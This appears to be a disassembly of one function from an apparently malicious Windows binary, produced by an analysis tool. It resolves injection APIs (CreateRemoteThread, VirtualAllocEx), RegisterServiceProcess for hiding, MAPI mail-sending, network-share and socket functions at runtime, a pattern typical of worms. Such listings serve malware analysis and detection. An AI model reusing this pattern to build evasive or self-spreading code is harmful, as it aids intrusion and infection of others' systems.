Function at 0x37374a5f
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.KERNEL32.DLL
call edi
test eax, eax
mov dword [0x3737acf8], eax
je 0x37374b5d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.HeapCreate
push eax
call esi
push str.HeapDestroy
mov dword [0x3737acdc], eax
push dword [0x3737acf8]
call esi
push str.HeapAlloc
mov dword [0x3737acd8], eax
push dword [0x3737acf8]
call esi
push str.HeapFree
mov dword [0x3737acd4], eax
push dword [0x3737acf8]
call esi
push str.HeapCompact
mov dword [0x3737acd0], eax
push dword [0x3737acf8]
call esi
cmp dword [0x3737ad10], 0
mov dword [0x3737accc], eax
je 0x37374b3b
push str.CreateRemoteThread
push dword [0x3737acf8]
call esi
push str.VirtualProtectEx
mov dword [0x3737d640], eax
push dword [0x3737acf8]
call esi
push str.VirtualAllocEx
mov dword [0x3737d630], eax
push dword [0x3737acf8]
call esi
push str.VirtualQueryEx
mov dword [0x3737d63c], eax
push dword [0x3737acf8]
call esi
push str.VirtualFreeEx
mov dword [0x3737d634], eax
push dword [0x3737acf8]
call esi
mov dword [0x3737d638], eax
jmp 0x37374b4d
push str.RegisterServiceProcess
push dword [0x3737acf8]
call esi
mov dword [0x3737d62c], eax
push str.SHELL32.DLL
call edi
test eax, eax
mov dword [0x3737acfc], eax
jne 0x37374b64
xor eax, eax
jmp 0x37374deb
push str.ShellExecuteA
push eax
call esi
push str.MPR.DLL
mov dword [0x3737acf4], eax
call edi
test eax, eax
mov dword [0x3737ad00], eax
je 0x37374bd6
push str.WNetCloseEnum
push eax
call esi
push str.WNetEnumResourceA
mov dword [0x3737acf0], eax
push dword [0x3737ad00]
call esi
push str.WNetOpenEnumA
mov dword [0x3737acec], eax
push dword [0x3737ad00]
call esi
push str.WNetCancelConnection2A
mov dword [0x3737ace8], eax
push dword [0x3737ad00]
call esi
push str.WNetAddConnection2A
mov dword [0x3737ace4], eax
push dword [0x3737ad00]
call esi
mov dword [0x3737ace0], eax
push str.MAPI32.DLL
call edi
test eax, eax
mov dword [0x3737ad04], eax
je 0x37374c5f
push str.MAPILogon
push eax
call esi
push str.MAPIResolveName
mov dword [0x3737d75c], eax
push dword [0x3737ad04]
call esi
push str.MAPIFindNext
mov dword [0x3737d758], eax
push dword [0x3737ad04]
call esi
push str.MAPIReadMail
mov dword [0x3737d754], eax
push dword [0x3737ad04]
call esi
push str.MAPIFreeBuffer
mov dword [0x3737d750], eax
push dword [0x3737ad04]
call esi
push str.MAPISendMail
mov dword [0x3737d74c], eax
push dword [0x3737ad04]
call esi
push str.MAPILogoff
mov dword [0x3737d748], eax
push dword [0x3737ad04]
call esi
mov dword [0x3737d744], eax
push str.ws2_32.dll
call edi
test eax, eax
mov dword [0x3737ad08], eax
je 0x37374de8
push str.WSAStartup
push eax
call esi
push str.WSACleanup
mov dword [0x3737acc8], eax
push dword [0x3737ad08]
call esi
push str.__WSAFDIsSet
mov dword [0x3737acc4], eax
push dword [0x3737ad08]
call esi
push str.socket
mov dword [0x3737acc0], eax
push dword [0x3737ad08]
call esi
push str.connect
mov dword [0x3737acbc], eax
push dword [0x3737ad08]
call esi
push str.bind
mov dword [0x3737acb8], eax
push dword [0x3737ad08]
call esi
push str.recv
mov dword [0x3737acb4], eax
push dword [0x3737ad08]
call esi
push str.recvfrom
mov dword [0x3737acb0], eax
push dword [0x3737ad08]
call esi
push str.send
mov dword [0x3737acac], eax
push dword [0x3737ad08]
call esi
push str.sendto
mov dword [0x3737aca8], eax
push dword [0x3737ad08]
call esi
push str.select
mov dword [0x3737aca4], eax
push dword [0x3737ad08]
call esi
push str.closesocket
mov dword [0x3737aca0], eax
push dword [0x3737ad08]
call esi
push str.htons
mov dword [0x3737ac9c], eax
push dword [0x3737ad08]
call esi
push str.ntohs
mov dword [0x3737ac98], eax
push dword [0x3737ad08]
call esi
push str.htonl
mov dword [0x3737ac94], eax
push dword [0x3737ad08]
call esi
push str.ntohl
mov dword [0x3737ac8c], eax
push dword [0x3737ad08]
call esi
push str.inet_addr
mov dword [0x3737ac90], eax
push dword [0x3737ad08]
call esi
push str.inet_ntoa
mov dword [0x3737ac88], eax
push dword [0x3737ad08]
call esi
push str.gethostname
mov dword [0x3737ac84], eax
push dword [0x3737ad08]
call esi
push str.gethostbyname
mov dword [0x3737ac7c], eax
push dword [0x3737ad08]
call esi
mov dword [0x3737ac80], eax
push str.ioctlsocket
push dword [0x3737ad08]
call esi
mov dword [0x3737ac78], eax
push 1
pop eax
pop edi
pop esi
ret